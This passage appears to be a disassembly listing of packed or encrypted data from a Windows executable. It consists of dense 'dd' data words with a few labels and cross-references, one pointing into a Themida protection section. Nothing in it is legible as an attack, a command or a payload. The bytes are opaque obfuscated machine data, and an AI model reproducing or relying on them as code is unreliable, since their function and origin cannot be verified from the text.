		dd 575D0424h, 6C4BB951h, 4C293713h, 8F590424h, 45810845h
		dd 136C4B08h, 242C8B37h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	7CE95C24h
		dd 8DFFF91Bh, 7FF8D30Fh, 0B875623Bh, 61B61FBh, 0E0FFC503h
		dd 1915F1DDh, 111C0EBEh, 4F4BC774h, 78CBAABFh, 53836A7Ch
		dd 2E2C260Bh, 62C403Ah,	458AB215h, 3823742Ch, 92385B8h
		dd 7FCAF697h, 52698E10h, 787B0069h, 0BE75682h, 15E403Fh
		dd 6EC03AACh, 733F48F5h, 7C320CF4h, 5242CAFEh, 0DA21A80Ah
		dd 52898A4Eh, 0D5ABA80Ah, 536175EAh, 0DB2FA80Ah, 5DBA8A4Eh
		dd 0DB8457AEh, 50518A4Eh, 0D5ABA80Ah, 501875EAh, 0D8CAA80Ah
		dd 509A8A4Eh, 0D974A80Ah, 511C8A4Eh, 0D5ABA80Ah, 2F2575EAh
		dd 313080D4h, 5DC00313h, 0A752B333h, 0B9211C90h, 29D12157h
		dd 2F439176h, 313045D4h, 0A5C00313h, 0A752B332h, 0B920CF90h
		dd 25D12157h, 2F439176h, 313134D4h, 0B1C00313h,	0A752B332h
		dd 0B9207B90h, 31D12157h, 2F439176h, 31329DD4h,	0BDC00313h
		dd 0A752B332h, 0B923F490h, 0DD12157h, 2F439176h, 313217D4h
		dd 89C00313h, 0A752B332h, 0B9228A90h, 5D12157h,	2F439176h
		dd 3133E9D4h, 91C00313h, 0A752B332h, 0B922F090h, 1DD12157h
		dd 0C3439176h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A45EE9F7h, 2AA8ED96h, 29458A15h, 0E367A024h
		dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh
		dd 6713AAEh, 42848C01h,	2211AB53h, 5D55FFEAh, 3AABA424h
		dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h
		dd 2FEE27BFh, 31117EDBh, 12947513h, 0A0D90201h,	0A45ECFC3h
		dd 0A1EC79AEh, 941AE51h, 6F8222DCh, 73BA8C0Eh, 2ADF1037h
		dd 28C82173h, 2C4FED87h, 2BFD5BEAh, 81508C15h, 0E7930098h
		dd 0FBABAE4Ah, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEEB7h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2C40893Ch
		dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A45ECFC3h
		dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h,	0A2458A15h
		dd 0D3BE290Bh, 29439171h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 0CFD77553h, 0A152BC70h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h
		dd 0A0D9F9FAh, 0A45ECFC3h, 9A0D79AEh, 1A232094h, 81328C65h
		dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
		dd 0A1345495h, 0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
		dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
		dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
		dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h,	66C6669Eh
		dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h,	22B769C2h
		dd 62765826h, 78C22FDh,	0A2458AD5h, 25AB54D1h, 0A2459391h
		dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
		dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h,	0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 229D00B9h, 0E1D4A7B2h, 8860085h, 6F8222DCh, 73BA8C0Eh
		dd 0A7FEF8E1h, 0B9005C9Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 87D77515h, 2652BC7Dh
		dd 28C82045h, 2C4FED87h, 2BF55BEAh, 86949BFBh, 622E8531h
		dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h,	229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
		dd 0D5FE0451h, 0B664E787h, 868C2357h, 2FEF4917h, 31117EDBh
		dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah,	29247668h
		dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
		dd 0A2457650h, 80F8A851h, 832818EAh, 0E2DFAE45h, 88558B9h
		dd 6F8232DCh, 71BA8C0Eh, 0E3941037h, 63CF2173h,	262983FBh
		dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152BC70h
		dd 637726DDh, 0FCCE25FBh, 5D439150h, 0AAECCE82h, 28EEECE4h
		dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
		dd 0B0D90337h, 0A45ECFC3h, 92327BAEh, 9234B95h,	1FE04FDh
		dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
		dd 0B9005C8Fh, 9A875757h, 0E0320A0h, 0FCCE25FBh, 5D439150h
		dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0D5CE2559h, 0F1439177h
		dd 498232DCh, 71BA8C0Eh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C4FCB5Eh, 74DF0746h, 0D552B332h,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h
		dd 0A45EE9C3h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 497332DCh, 2F168C0Eh, 31377ECBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 24E9h, 4272AA00h
		dd 15h,	7 dup(0)
		dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h
		dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h
		dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h
		dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh
		dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h,	8B4C6454h
		dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h,	0D51876Dh
		dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh
		dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h
		dd 0CA190048h, 468FE62Eh, 7EC65E1Bh, 0EB9726B1h, 585E6493h
		dd 57E6CE29h, 0A5EB97BFh, 5806CEC3h, 0F5EEACCEh, 0F8D90670h
		dd 2F8Eh, 4A17A500h, 0F6002F8Ch, 8A90D888h, 57E50A8Fh
		dd 804D95BDh, 0CC366556h, 60AA486h, 0CD9AF58h, 6FC1F0C9h
		dd 0CEADB8D3h, 751F8D9h, 68000000h, 87B11h, 0C4126800h
		dd 1AE7AFF7h, 0FF5703B8h, 0F1E79379h, 507FA751h, 0BEFDD9E6h
		dd 0BF22906Ch, 0DAE16B00h, 86CE66F4h, 0E60CED80h, 0C202D957h
		dd 0B7091FBCh, 0BCE46897h, 55E8CA10h, 0D1F35807h, 7F4B1AB1h
		dd 2AB3F8D8h, 0CA000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h
		dd 260C12DAh, 3A580603h, 0BD9FE312h, 0C8580602h, 76EFE4A6h
		dd 88F8D9D6h, 0C8h, 47C4129Fh, 0F1E85B41h, 46926F51h, 9D49E179h
		dd 0C0C64790h, 51F1E7DAh, 822EC6EEh, 125A6175h,	822E8D45h
		dd 8491FB2Ah, 1176952h,	51F1ED3Fh, 17695284h, 686A9C3Ah
		dd 30FBB53h, 0D9A1E995h, 3B41CA0Ch, 51F1ED55h, 0FDA94169h
		dd 0F73276A5h, 0A557E506h, 0E14F2B7Dh, 0A928F53Dh, 0AC0FC310h
		dd 4571777Dh, 0D55DFADEh, 0E18E65ADh, 2EA64206h, 5CDD302h
		dd 0F7616A2Eh, 3B6A014Ah, 0C416A730h, 0EFCDF0E7h, 38957DE4h
		dd 68BFCDB7h, 0CE00000Ah, 825FB10Eh, 3D1A6C51h,	0F7D42695h
		dd 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h,	56696F4Ch
		dd 0CAF2704h, 2026AEBAh, 580D523Ah, 12EC534Eh, 0C9A6F8C5h
		dd 0A35CAE0Dh, 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch
		dd 0E7A3C558h, 0D9D679ECh, 0C285F8h, 129C0000h,	434BF7C4h
		dd 0E78F757Bh, 7BA351F1h, 0E817A42Eh, 0D13FADDh, 51F1E827h
		dd 0A4C0543Bh, 57C249A1h, 737B27BFh, 0E28E2BA6h, 55175B8Ah
		dd 9A51F20Eh, 502D7F3Ch, 20ED3586h, 70DA09B2h, 24AF664h
		dd 666CA335h, 51F20E80h, 0A5D46C94h, 275E999Fh,	250C57E5h
		dd 0A22F70CCh, 0BC136B17h, 0A1392DF9h, 5905734Fh, 557C4911h
		dd 3160B864h, 0FAC8D2EDh, 0D018405Dh, 97E9D403h, 0C2A01DBAh
		dd 38959A1Bh, 889CAA94h, 0AE000009h, 623F912Eh,	1DFA4C71h
		dd 0D7B406B5h, 8C69BBFEh, 0E720724Bh, 0C5F8DFD1h, 7E3B9673h
		dd 36894F2Ch, 0ECCF07E4h, 68E9Ah, 580D531Ah, 12CC332Eh
		dd 0C9A6F8C5h, 0A35CAE0Dh, 0AFF7C412h, 0E7FBE1E7h, 370F51F1h
		dd 0F1E84B31h, 9F375F51h, 0E86B5157h, 577F51F1h, 25B1BE28h
		dd 60774E96h, 0D63C8152h, 2F4D5D8Ch, 23CB39C8h,	128AD5DBh
		dd 305857E5h, 0E2A2798Fh, 0E3E53F4Fh, 7C80C3Bh,	4F01C87Bh
		dd 98465F78h, 0FA299489h, 96DE82F0h, 0BE76DD90h, 0B7638B07h
		dd 49913DABh, 0D3F77643h, 0D820480Dh, 0C6F5C80Bh, 23E3F3C0h
		dd 1E7008B3h, 48269541h, 88BB4C9Fh, 0CC2C3A24h,	6A000008h
		dd 1EFB4D72h, 0D9B608B5h, 9370C2F9h, 48257742h,	0A3DC2E8Fh
		dd 813C9B15h, 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h
		dd 580D53D6h, 1788EFEAh, 1308D4Ah, 93DBE0F6h, 0A0B69BCh
		dd 71A0E700h, 0E18DFB07h, 6B1C9399h, 2A5257E6h,	884D1AE2h
		dd 0E1F70231h, 29AF8CDEh, 0BEA4EA96h, 12580669h, 58059A30h
		dd 509848B6h, 0C16D5083h, 2E343A69h, 5DF99F43h,	757D2951h
		dd 0DAC4739Eh, 0BC14C0FDh, 0EAB30665h, 1A59FEE4h, 52EA125Eh
		dd 0FDBE1823h, 97E9D21Fh, 0D1B0538h, 82Fh, 98EAD507h, 53A518BBh
		dd 0D5F5C76h, 0C214A530h, 79CBF2E5h, 9F387840h,	0E2EFCC1Eh
		dd 30A885D7h, 76603D8Fh, 5FE7F345h, 0D547359h, 258C8758h
		dd 0B1F9A513h, 0E50CC0ABh, 0FAA6CE57h, 85D7E6EDh, 0C4F5E0ADh
		dd 2CEBB56Dh, 2FAE8Fh, 33DFDEF5h, 0C70FBF27h, 66493C1h
		dd 0B7FF2758h, 27D3E8EAh, 0E136A0CFh, 0EAE9033Fh, 0A5B48BD3h
		dd 0E16F46C6h, 6E8494C3h, 5806268Ch, 0B2FAAA12h, 62592ACh
		dd 8ED6FE58h, 25DAC0C6h, 0C6EE5806h, 0E7AF8797h, 625FBE1h
		dd 9AE70F58h, 7BD37F3Ch, 2B92414Ch, 0A9AF777Fh,	580625C3h
		dd 0E3D8FAD7h, 1847DF37h, 626EAD4h, 0A0686F58h,	81D98536h
		dd 0A2303DE9h, 93F76D19h, 239A3DF7h, 0F2871F77h, 0D9FA3250h
		dd 1EB592E4h, 39D1EEEAh, 2715478Dh, 50F25806h, 0E4D9FA32h
		dd 0CA07D49Ch, 65EB43EFh, 5806287Fh, 2C3C6B93h,	5583E850h
		dd 0C28AD26Ah, 1AE63BEBh, 0CFFE8CE2h, 64AA88Bh,	0E28EB658h
		dd 260C12DAh, 3A58064Bh, 0AF47765Dh, 0AEE13C80h, 0ACCE2A24h
		dd 0C6935BEEh, 3F25AB10h, 53CC67B0h, 0D590FC2Bh, 29847825h
		dd 180h, 0F9A51340h, 0C50ABB1h,	573E57E5h, 95A5D6CCh, 4B932B5Ah
		dd 1163587Eh, 6369A234h, 58068E7Dh, 25D16991h, 4B589BDFh
		dd 96637BDFh, 76CE7A3Fh, 9F55F547h, 55328437h, 828E3A81h
		dd 3B186A1Ah, 0D71F9Ah,	21B2445Fh, 4198F09Ch, 2C5B5FCDh
		dd 0CE3BAC2h, 0C03DDDECh, 4D8994C3h, 77441C6Eh,	5BB35F5Ah
		dd 4AF6C30Eh, 1EB8C3F2h, 1CE9F19Dh, 92D605B6h, 0AFD5DCDEh
		dd 0E4183A9Eh, 2D1319F2h, 4151D7BCh, 522F8119h,	7F8B3784h
		dd 0EB20B217h, 0D7BBFFE5h, 53EB1351h, 876D73BBh, 9B51D7BCh
		dd 0F8A419BEh, 0D9B608A0h, 0F0CD0AFEh, 38A0AC58h, 0FFFE62C9h
		dd 9F37CA69h, 6F4C8A57h, 0FF26ACC3h, 11B6B307h,	3E444A79h
		dd 51D75544h, 19F64870h, 4552FEBDh, 2A7F2B92h, 0A432CA88h
		dd 557B6167h, 0B28F51D7h, 97EF9B20h, 381567FFh,	0B785E9Eh
		dd 91DB3749h, 31E3B03Ah, 0B74F60D1h, 0E797FF0Bh, 669B999Fh
		dd 0A7CF51D7h, 0A85E7855h, 48F48C2Dh, 76229D3Bh, 0A34F6E69h
		dd 0CE7A3F96h, 1594B69Ah, 45FF9BBFh, 15E22A91h,	0BECEFDBCh
		dd 1AC6F5E1h, 0AEF6A60Eh, 0D766B6A8h, 68BAE251h, 0C6724D8Bh
		dd 88D8E7BEh, 4289E6B9h, 3CA10913h, 0FED72495h,	0EDB23BBh
		dd 0C3C9F8C5h, 16A32EFBh, 9FE3126Ah, 51D74EA9h,	0A78D935Bh
		dd 0BB51D74Eh, 0B8E06493h, 9F079970h, 28D4E5ECh, 4DC79D0h
		dd 0E49DADDCh, 9542C412h, 0D7247C28h, 0BC14C0FBh, 88F6D224h
		dd 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E6D3FECBh, 0E89073B7h
		dd 769E57E5h, 989E662Eh, 5805E8B2h, 7A26993Fh, 5345C22h
		dd 8FE1DEFAh, 519926B2h, 0C26E4F84h, 19920B5h, 0EE5C68D2h
		dd 7DF4FA42h, 0B35DF9EAh, 6076438Bh, 0F2C70E5Bh, 55BFEE46h
		dd 191A2D0Fh, 78E0B75Eh, 60A149AEh, 58C6D0FFh, 439360A8h
		dd 3D434978h, 640DCC52h, 0CDE307DEh, 0FB58AF02h, 6A7048CCh
		dd 642E9F84h, 90D87098h, 4CD65B9h, 5DAAF01Ah, 0AA14437Ah
		dd 0A482399Dh, 32844C57h, 0CC9CAA94h, 6A000004h, 1EFB4D72h
		dd 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h
		dd 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 580D57D6h
		dd 1388EFEAh, 0E9B1F9A5h, 3C7D5421h, 0F1E7D0B6h, 8DBCE451h
		dd 0E51B8A49h, 6C184057h, 5FB4326h, 0AD7A5058h,	0C7F2DF2Bh
		dd 0ECAE002Fh, 7A43905Dh, 0DA86DF4Bh, 0D778F8D9h
		dd 8F000000h, 0F1E7C7D9h, 0C5ABB151h, 0D951F1E7h, 754019B1h
		dd 2C085A61h, 0C1C70FBFh, 51F1E7C3h, 7A3C9E75h,	4CF8C30Fh
		dd 0D0949DF4h, 7790767Ch, 7CA451F2h, 931B5E4h, 8086505Dh
		dd 65BD6952h, 19B885CDh, 6D9CF4A0h, 0BE14815Dh,	0F277D2B8h
		dd 71BEE651h, 55AD5960h, 8F9E75BDh, 46735E5Fh, 0E72D04EFh
		dd 0CC24D0EBh, 0F9FF0534h, 51F2DBFBh, 6B51572Fh, 0FD51F2DCh
		dd 0F2DC11F7h, 37FD2551h, 0DC73595Fh, 5F8751F2h, 76832FC7h
		dd 2D095B60h, 45745DC0h, 75468C99h, 41D971C9h, 452B31F9h
		dd 0C851F2DCh, 9C1AC379h, 2E561CB7h, 0F1F3F9FFh, 3D51F239h
		dd 0B24A7360h, 79DEC006h, 791B51F1h, 48B724D9h,	3B6B308Ah
		dd 0F941D994h, 0F23BF1F3h, 0C3153D51h, 0A3E5h, 0A5133C00h
		dd 0C0ABB1F9h, 0CE57E50Ch, 0E4EDFAA6h, 3DA783D5h, 49434991h
		dd 7558060Dh, 7A5BA14Dh, 8358060Dh, 0BBAA2161h,	43F8D9C8h
		dd 74h,	0FDA9135Ah, 0CCEDE8B5h,	0AB91979Dh, 0BF51F1E7h
		dd 1ECAEFE2h, 75822EC6h, 48155D5Ch, 0DEE42C8Dh,	51F1E7F8h
		dd 0A5B5E40Ch, 67AF5FC9h, 0F1E82F61h, 6BB3DB51h, 0E8B79DA3h
		dd 0A3CB51F1h, 8F3B8056h, 589E0837h, 51F12976h,	0C07111B3h
		dd 0AE23E3F3h, 6F075F0Bh, 323C6BC3h, 0CAD018C8h, 51F22898h
		dd 2DDCF5C2h, 0F2294127h, 952D5551h, 0CC05E266h, 4A0355EDh
		dd 4BF7C412h, 0D123983Eh, 8FD787F5h, 0E538F689h, 0BC15E257h
		dd 0EEC1153Eh, 0F8900D10h, 41C5F44Ch, 45276D19h, 505806D2h
		dd 0EE776C2Eh, 10F8D903h, 53h, 209B3B08h, 80666C74h, 945806DAh
		dd 0BEA5D46Ch, 0B1F9A513h, 9B09F1E4h, 7A3976DCh, 0ACB2E179h
		dd 0E56BE3A6h, 76622F57h, 6E961A49h, 6B9A7CC2h,	0B81F5806h
		dd 8B4C5905h, 0E26F8632h, 0DB5F034Dh, 1436D86Dh, 0EEACCE95h
		dd 0D9B970F5h, 0C38EF8h, 12A50000h, 3E4BF7C4h, 886E7499h
		dd 9C51F1E8h, 2330DC74h, 4F5C08B3h, 15EC3487h, 3454B79Dh
		dd 7585B4B2h, 0F25E9D5Fh, 0C7F4E251h, 7D3E9875h, 0F1F2C9D1h
		dd 0B91AF23Ah, 0DF4D5786h, 0C8605D7Ah, 9A25B380h, 474AA643h
		dd 6D9C3F04h, 0BBE6167h, 244C57E6h, 0D888F6D2h,	0C3078A90h
		dd 78555DFBh, 5BB35F60h, 29AE7BC3h, 72654294h, 0A1986D4Bh
		dd 7D673894h, 1EE6Fh, 2B944800h, 0E6D7FCD9h, 0A01BB794h
		dd 5564714Eh, 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h
		dd 0A17ED0EFh, 28348635h, 5AB49AA0h, 0CDC8580Dh, 43C51266h
		dd 647B2792h, 773AB769h, 0C41BB396h, 2A73C792h,	90E27AB4h
dword_5BFF5C	dd 469823B3h, 0F9A5138Dh, 2E8ABB1h, 8EB657E5h, 2BA9CE2h
					; DATA XREF: Themida_:0054B19Co
		dd 0A3C55806h, 0D679ECE7h, 0BB85F8D9h, 9C000000h, 32874A17h
		dd 99D72E86h, 37DB5818h, 0B5212C5Bh, 8A4D5A06h,	1D23EB33h
		dd 51F29037h, 8AF4234Bh, 0F2958244h, 0AC0FC751h, 62597D5Ah
		dd 0F6E1AEB6h, 208E98C7h, 75512870h, 0B96634E3h, 28D38807h
		dd 473AD9D1h, 690C1218h, 0F757E62Fh, 33A17DCFh,	193D438Bh
		dd 0A95DFBE3h, 5510BEC2h, 378F3B82h, 0DF7547E0h, 0E1794692h
		dd 0B20BCC99h, 69548360h, 9510848Bh, 97A58F38h,	107h, 0C012AD2Fh
		dd 7BCDF0E3h, 3587349Eh, 0EA3C7D58h, 0A1F3CA0Dh, 77605068h
		dd 0BA17F446h, 8D0ADFFh, 4E8865B7h, 870F1B6Dh
dword_5C0024	dd 0D5B9B81h, 4DB4AF58h, 0A6F8C512h, 66AE0DC9h,	4F7E3D99h
					; DATA XREF: ___:004327ECo
		dd 0C412863Fh, 7B434BF7h, 0F1E78F75h, 5B61C51h,	133B0159h
		dd 0BEFDD9E4h, 10C7946Ch, 0DEA105EEh, 0DC7434ECh
dword_5C005C	dd 8935A3ADh, 5D5E7441h, 242A59B1h, 0EA85921Eh,	81896057h
					; DATA XREF: ___:off_432940o
		dd 551860D3h, 0CDF579A8h, 0F9C21421h, 0AF0CCAA7h, 8145BD03h
		dd 0F2E64B44h, 0C11421CDh, 12364CF8h, 0A019BC70h, 0ACEE5208h
		dd 0B607D09Dh, 615A7C87h, 17A4320Fh, 4196636Bh,	93424D7Ch
		dd 0CF257A26h, 9D35CF02h, 82DA861Eh, 0B0410153h, 9DF5DCD9h
		dd 1C4BAAB5h, 0A4F6C511h, 2AED0FC7h, 0DAC0C6EDh, 0EE6B6669h
		dd 899A6FC6h, 0B8C6720Ah, 23h, 3C2228F0h, 506B663Fh, 1712F928h
		dd 0E863494Fh, 4F7751F1h, 8A61E720h, 2BACB041h,	0DE893B92h
		dd 1211F827h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh
		dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h,	33B86459h
		dd 151868h, 24248900h, 4BE56h, 74010000h, 515E0424h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 0F368243Ch,	8900002Bh, 5D68241Ch
		dd 8900006Eh, 31BB241Ch, 4309254Ch, 8105EBC1h, 0E14420E3h
		dd 7EBC12Dh, 0C381DBF7h, 61BEB09h, 545BDF89h, 81241C8Bh
		dd 4C4h, 81575100h, 47BB242Ch, 81590CD9h, 0D947BBC1h, 84B890Ch
		dd 241C8B59h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h
		dd 835F2434h, 44E904C4h, 8FFFF908h, 174D811Bh, 49B8BF3Eh
		dd 3061B75h, 0F3E0FFC5h, 8166D5E9h, 0F516F3B3h,	0B737B5E9h
		dd 3B21204Fh, 7A4652C5h, 0BC70BC70h, 9C7B80DBh,	2A353071h
		dd 0D64F01A7h, 2030EA1h, 0E8257BF9h, 0EF5E5C17h, 5E72561Eh
		dd 731094F8h, 0B443FCE0h, 0E8232006h, 12h, 83FCB650h, 44F0FDF4h
		dd 0F099AD4Ch, 19B938E0h, 0F56090AAh, 0A20318BEh, 0F596175h
		dd 38Ch, 0C18B6600h, 0D950C181h, 6E90000h, 96000000h, 5EB8BDC7h
		dd 98B1BBC6h, 0C38137A7h, 0C8589D71h, 66118BF5h, 817A67BEh
		dd 6A82AEF2h, 3EEA8145h, 0E90C95BDh, 0Bh, 0BA74FB3Bh, 0BE2D0DF6h
		dd 81FE0244h, 854370EAh, 0D9DF8119h, 896D0748h,	0F0C88111h
		dd 8172D8E4h, 2B9736E9h, 32C18107h, 0F072B97h, 382h, 0FEB70F00h
		dd 1EB81h, 850F0000h, 12h, 0E9C2BF0Fh, 2Ch, 99583B8Dh
		dd 0B437BFF5h, 11E90DBEh, 88000000h, 0F509CA2h,	0ACD17B7Ch
		dd 4BDDAC07h, 68618B02h, 0FFFF7CE9h, 0B2F0DBFFh, 739B10Dh
		dd 0FE8h, 0B57AEA00h, 0FB9CBBEAh, 0A35C5CE7h, 76C22E1h
		dd 1850Fh, 58F50000h, 0A3EDD3BFh, 22C08117h, 68000075h
		dd 1D16h, 6FC98166h, 0BA665E4Dh, 188B7C6Ah, 7E9h, 0A9F79400h
		dd 9C793D40h, 0EF12C381h, 0F3814178h, 2488200Fh, 0DE9h
		dd 3DCCA00h, 41529E27h,	27DB03Dh, 0C381C5BDh, 3503282Eh
		dd 0A9CBF781h, 66537F0Dh, 8FC88ABAh, 14E900h, 71970000h
		dd 527555DAh, 4EE7CD66h, 3C17CB31h, 6CFB93D8h, 0E883D10Eh
		dd 0AE904h, 1CE60000h, 0BEB1F805h, 0C7C806E0h, 0F01EE83h
		dd 1385h, 0FFC6000h, 0E961C6BFh, 1Fh, 621D7F0Ah, 0AB070137h
		dd 0E96BF280h, 0FFFFFF72h, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh
		dd 0E8F73E9Fh, 0Bh, 0AF032449h,	0E0A3CDEAh, 0F0358B5h
		dd 8B5ADBBFh, 92C281FBh, 66000064h, 0B99EFCBBh,	0
		dd 40D78166h, 1134FF3Fh, 0E858FB8Bh, 7,	79CACFE8h, 812EB203h
		dd 21A1CACBh, 0C0815E7Dh, 33F090CDh, 938EE81h, 0E88160ACh
		dd 6DB4A525h, 7E9h, 0DF7E0F00h,	0ADC1230Ah, 53DBE881h
		dd 0A9BB16CBh, 507A071Dh, 0F797BF66h, 0BB0A048Fh, 3F985608h
		dd 81DA8B66h, 0D134B7E9h, 0B70F602Fh, 0F28B66DEh, 0B3C18161h
		dd 572FD134h, 0EE9h, 26999B00h,	5BC075B3h, 0A8F78D59h
		dd 5EA71312h, 9C1CF981h, 850FFFFFh, 0FFFFFF79h,	4134C681h
		dd 0ECE91366h, 0
		dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch,	77F7E2h
		dd 77F7E3h, 277E600h, 5	dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 6000000h, 2C000000h,	22322E27h, 491611EFh, 88389B69h
		dd 41DB1566h, 38321566h, 152A04BEh, 0B883A8E5h,	31321372h
		dd 0C38F966Fh, 1134017Ch, 0DB620C12h, 558AD5EDh, 0AB321562h
		dd 5285CE3h, 0B2AF9860h, 0BB3403D1h, 0A16A4EB5h, 528F4DBh
		dd 9F461560h, 558A4636h, 0AB321562h, 5285CE3h, 0A1AF9860h
		dd 0BB3403D2h, 426A4EB5h, 9C3DCDEDh, 88321565h,	25F9FDE6h
		dd 39887306h, 9A54469Dh, 0D8534FBFh, 0C51611EDh, 223211A2h
		dd 9D3D7566h, 88321565h, 0ADF5AA69h, 22321574h,	44B7759Ah
		dd 51D1F870h, 0B44D9211h, 0EBFF1DB0h, 0ED530464h, 0F09AA8E5h
		dd 4B32137Dh, 22325EE2h, 0C8B97566h, 0E9C8A269h, 0E7690EBh
		dd 0A952137Dh, 88B739Eh, 58CD7480h, 4432078Fh, 0ED2FEF66h
		dd 7EE9AA4Fh, 0A56A4ADCh, 3C487A7Dh, 0AF987B2Ch, 0A7861E3h
		dd 58CDEC60h, 44321A8Fh, 49EAF66h, 1C387C4Eh, 86E2591Fh
		dd 7698A6CBh, 386B90A0h, 0E4641372h, 208A470Eh,	0F1CDEDFAh
		dd 24260FB7h, 0CAB7989Fh, 0E83402E6h, 44349269h, 0AF3D1566h
		dd 11321566h, 87534F36h, 443212E0h, 23B71A66h, 0E4321566h
		dd 8FDBC599h, 36321566h, 0A780EDD6h, 94BB6089h,	8E2631CFh
		dd 44339669h, 0E5CA1566h, 53640E3h, 88321560h, 45B71A66h
		dd 0DA321566h, 11321A8Fh, 2F1C4C66h, 4CF86916h,	0AD6B6857h
		dd 5951497Ah, 926B90A0h, 0B1771372h, 505B7C0Eh,	0BBB1AE8h
		dd 0E8321566h, 4432188Fh, 0A28BF466h, 4B57D672h, 8E98AAD4h
		dd 0CF3DA6D4h, 22321566h, 5487EA07h, 87340177h,	443213E6h
		dd 98547566h, 9C535A95h, 9C0906E3h, 0ADB37560h,	48FAD859h
		dd 11309569h, 0E9521566h, 0BCE2EA07h, 7B390EFh,	0D7CA1372h
		dd 9C284CE3h, 4ADB5660h, 0FB321566h, 6812641Bh,	736A28BFh
		dd 0C7202DD5h, 496C7D54h, 0E8CA8901h, 9977A099h, 0C03D1372h
